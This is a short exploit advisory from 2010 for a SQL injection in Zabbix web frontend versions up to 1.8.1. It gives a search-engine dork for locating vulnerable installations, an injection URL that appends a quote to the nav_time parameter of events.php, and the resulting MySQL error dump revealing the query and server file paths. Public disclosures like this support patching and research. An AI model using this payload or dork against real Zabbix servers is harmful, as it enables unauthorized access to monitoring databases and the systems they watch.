# Exploit Title: Zabbix <= 1.8.1 SQL Injection Vulnerability
# Date: 27/04/2010
# Author: skys
# Software Link: http://www.zabbix.com/
# Version:Web Application
# Tested on: Apache/*nix
# Dork: intext: "by SIA Zabbix"
# Code :

Exploited Link :

http://vulnsite.com/path_to_zabbix/events.php?nav_time=0'

Result:

Error in query [SELECT DISTINCT e.* FROM events e WHERE ((e.eventid BETWEEN
000000000000000 AND 099999999999999)) AND (e.object-0)=0 AND (e.objectid IN
(-1)) AND e.clock>=0' ORDER BY e.clock DESC LIMIT 1001 OFFSET 0] [You have
an error in your SQL syntax; check the manual that corresponds to your MySQL
server version for the right syntax to use near '' ORDER BY e.clock DESC
LIMIT 1001 OFFSET 0' at line 1]
mysql_fetch_assoc(): supplied argument is not a valid MySQL result
resource[/data/www/htdocs/include/db.inc.php:546]
mysql_free_result(): supplied argument is not a valid MySQL result
resource[/data/www/htdocs/include/db.inc.php:548]

#skys mailto:skysbsb[fuck spamers]gmail.com